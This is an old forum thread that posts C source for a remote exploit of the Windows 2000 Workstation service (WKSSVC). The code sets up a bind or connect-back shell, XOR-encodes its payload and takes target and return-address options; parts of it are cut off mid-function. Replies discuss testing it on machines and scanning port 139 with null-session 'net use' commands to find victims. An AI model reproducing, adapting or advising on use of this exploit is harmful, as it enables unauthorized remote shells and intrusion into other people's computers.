/* * Author: snooq [http://www.angelfire.com/linux/snooq/] * Date: 15 November 2003 * * ++++++++++ THIS IS YET ANOTHER PRIVATE VERSION ++++++++++ * * Another version........ slightly different from the one * on packetstorm & k-otik........ =p * * I've changed the shellcode a bit... ExitThread() instead * of ExitProcess()..... it doens't crash now.. :) * * Also, added an option for u to specify a XOR key to be * used in encoding the payload.... * * This should be the final release....I dun think I'm gonna * improve this further... * * Lastly.. let me iterate this again.... * This code will only work against Win2K that was configured * to grant 'anonymous logon' write access to the log file... * [NB: win2k(on ntfs), by default, don't...] * * Using this against XP will likely fail.... * but if u manage to adapt this code to work for XP too.. * pleaseeeee.. send me a copy tooo.... =) * * +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */ #pragma comment (linker,"/NODEFAULTLIB:msvcprtd.lib") #pragma comment (linker,"/NODEFAULTLIB:libcmtd.lib") #pragma comment (linker,"/NODEFAULTLIB:libcmt.lib") #pragma comment (linker,"/NODEFAULTLIB:libcd.lib") #pragma comment (lib,"ws2_32") #pragma comment (lib,"msvcrt") #pragma comment (lib,"mpr") #pragma comment (lib,"user32") #pragma warning (disable:4013)
void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }
void banner() { printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n"); printf("\nPorted to WIN32 by class101 [class101@phreaker.net]\n\n");
}
void usage(char *s) { banner(); printf("Usage: %s [options]\n\n",s); printf("\t-r\tSize of 'return addresses'\n"); printf("\t-a\tAlignment size [0~3]\n"); printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n"); printf("\t\tPort for shell to connect back (in 'listening' mode)\n"); printf("\t-s\tShellcode offset from the return address\n"); printf("\t-t\tTarget types. ( -H for more info )\n"); printf("\t\tDefault is '-t 1'\n"); printf("\t-H\tShow list of possible targets\n"); printf("\t-l\tListening for shell connecting\n"); printf("\t\tback to port specified by '-p' switch\n"); printf("\t-i\tIP for shell to connect back.\n"); printf("\t\tIf '-i' is not present, the first local IP is used.\n"); printf("\t-e\tEnumerate local IPs interactively. ('listening' mode only)\n"); printf("\t-I\tTime interval between each trial ('connecting' mode only)\n"); printf("\t-T\tTime out (in number of seconds)\n"); printf("\t-k/-K\tXOR key, e.g '-k 43452352' or '-K 0xabcd9897'\n"); printf("\t-h\tTarget's IP. <<< THIS IS MANDATORY >>>\n\n"); exit(0); }
while(!alarm_fired) { if (GetMessage(&msg, 0, 0, 0) ) { if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n"); DispatchMessage(&msg); } }
}
void resetalarm() { if (TerminateThread(t2,0)==0) { err_exit("-> Failed to reset alarm..."); } if (TerminateThread(t1,0)==0) { err_exit("-> Failed to kill the 'sending' thread..."); } }
void do_send(char *host,int timeout) { t1=(HANDLE)_beginthread(sendstr,0,host); if (t1==0) { err_exit("-> Failed to send exploit string..."); } t2=(HANDLE)_beginthread(setalarm,0,timeout); if (t2==0) { err_exit("-> Failed to set alarm clock..."); } }
printf("-> XORing payload with key -> 0x%08x....\n",key);
ptr=code+KEY_OFFSET; *((long *)ptr)=key; ptr=code+CODE_OFFSET; for(i=0;i<(len-CODE_OFFSET);i+=4) { tmp=*((long *)ptr); *((long *)ptr)=tmp^key; get_bytes(tmp^key); for(j=0;j<4;j++) { if (b[j]=='\0') err_exit("-> Payload has 'null'. Try another key..=p"); } ptr+=4; } *(code+len)=0; }
int main(int argc, char *argv[]) {
char opt; char *host, *ptr, *ip=""; struct sockaddr_in sockadd; int i, i_len, ok=0, mode=0, flag=0, enum_ip=0; int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET; int target=TARGET, scsize=SC_SIZE_1, port=PORT; int timeout=TIME_OUT, interval=INTERVAL; long retaddr, key=KEY;
WSADATA wsd; SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:k:K:t:T:p:Hle"))!=EOF) { switch(opt) { case 'a': align=atoi(optarg); break;
case 'I': interval=atoi(optarg); break;
case 'T': timeout=atoi(optarg); break;
case 't': target=atoi(optarg); retaddr=targets[target-1].jmpesp; break;
case 'i': ip=optarg; break;
case 'k': key=atol(optarg); break;
case 'K': key=str2long(optarg); break;
case 'l': mode=1; scsize=SC_SIZE_2; break;
case 'e': enum_ip=1; break;
case 'r': retsize=atoi(optarg); break;
case 's': sc_offset=atoi(optarg); break;
case 'h': ok=1; host=optarg; sockadd.sin_addr.s_addr=inet_addr(optarg); break;
case 'p': port=atoi(optarg); break;
case 'H': showtargets(); break;
default: usage(argv[0]); break; } }
if (!ok||((enum_ip)&&(!mode))||((enum_ip)&&(strcmp(ip,"")==0))) { usage(argv[0]); }
printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.sin_addr),port);
resetalarm(); doshell(s1);
}
return 0;
}
NB: -Win32 version is to use with msvcr71.dll -Exploit is detected by some lame antivirus like Norton, "for all the ppz who dunno how work this lame antivirus"... -I'll not reply to your questions always like , "how this work?" "how you compiled it ?" "how to scan it?" "how to ?" just dl it & shut up.
Usage:
CODE
C:\WINNT\system32>o_wks3
WKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]
Ported to WIN32 by class101 [class101@phreaker.net]
Usage: o_wks3 [options]
-r Size of 'return addresses' -a Alignment size [0~3] -p Port to bind shell to (in 'connecting' mode), or Port for shell to connect back (in 'listening' mode) -s Shellcode offset from the return address -t Target types. ( -H for more info ) Default is '-t 1' -H Show list of possible targets -l Listening for shell connecting back to port specified by '-p' switch -i IP for shell to connect back. If '-i' is not present, the first local IP is used. -e Enumerate local IPs interactively. ('listening' mode only) -I Time interval between each trial ('connecting' mode only) -T Time out (in number of seconds) -k/-K XOR key, e.g '-k 43452352' or '-K 0xabcd9897' -h Target's IP. <<< THIS IS MANDATORY >>>
bye
MichT
Nov 22 2003, 10:08 PM
Thx a lot man i'll test it now
ps:sorry for my english
liquidSilver
Nov 22 2003, 10:09 PM
Hmm..
Double-=V=-
Nov 22 2003, 10:11 PM
Thanks man, very sweet
haxor2k3
Nov 22 2003, 10:12 PM
Nice will have a look at this
DarkieD
Nov 22 2003, 10:40 PM
pretty old
Kynroxes
Nov 24 2003, 06:40 AM
yeah man tks a lot !!
virus
Nov 24 2003, 07:21 AM
its an html file ..... when I right click-> Save As ... it saves it as an html doc ????
101
Nov 24 2003, 11:49 AM
o_O dunno what happened, attachement wasnt working, fixed now.
teest
Dec 16 2003, 01:32 PM
I'm testing now! thx
Flinston
Dec 16 2003, 08:52 PM
that's great =)
mucho thanks for it
will test it on a german 2k3 os let's see, don't expect it'll work
€: huh?
--------------------------- o_wks3.exe - Komponente nicht gefunden --------------------------- Die Anwendung konnte nicht gestartet werden, weil MSVCR71.dll nicht gefunden wurde. Neuinstallation der Anwendung könnte das Problem beheben. --------------------------- OK --------------------------- It says MSVCR71.dll is not present
flame
Dec 18 2003, 02:47 AM
it seems only russian sp3 and sp4 are available (considering that machines running less SPacks then that are useless) how come only russian get to have fun and we dont ...
..:Z:..
Dec 18 2003, 08:24 AM
sorry for my n00b question but how can i scan for this bug with a protscan "139" or how ?' thx for answers //edit sorry for my bad english ^^
flame
Dec 18 2003, 12:10 PM
QUOTE (..:Z:.. @ Dec 18 2003, 08:24 AM)
sorry for my n00b question but how can i scan for this bug with a protscan "139" or how ?' thx for answers //edit sorry for my bad english ^^
there are several ways to scan this exploit 1. port scan port 139 - then try connecting to ipc$ (net use \\ip\ipc$ /u:"" p:"") 2. RETINA can scan for a specific exploit. 3. you answered your own question. 4. wtf 5. see you in jail guys
need anony login * [NB: win2k(on ntfs), by default, don't...] :< and who the (filtered) uses FAT system? noe one :< to bad, it wouldve prolly been good.
how could i miss that ? guess i read it 2 fast - can anyone confirm that this works ?
and weedmonkey - i read a post of someone who confirmed that this exploit (not this specific one) works on NTFS machines although it said FAT - gotta test it to be sure though.
ps. what is this XOR and how can it be changed ?
labbertasche
Dec 19 2003, 04:52 PM
thx ... let's test
ahh the dll
flame
Dec 19 2003, 05:23 PM
QUOTE (labbertasche @ Dec 19 2003, 04:52 PM)
thx ... let's test
ahh the dll
what DLL ?
passi
Dec 19 2003, 05:28 PM
you need the dll to run the exploit.
does anyone have a scanner? a GOOD one?
EXPLOiTED
Dec 21 2003, 04:48 AM
Guys... What port do I scan for to use this exploit? and what "DLL" is needed to use this?
//Edit Nevermind... I'm guessing its port 139 judging from the prior post
101
Dec 21 2003, 11:35 AM
you should scan port 53 & port 88 kerberos of course....
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
..... when I right click-> Save As ... it saves it as an html doc ????
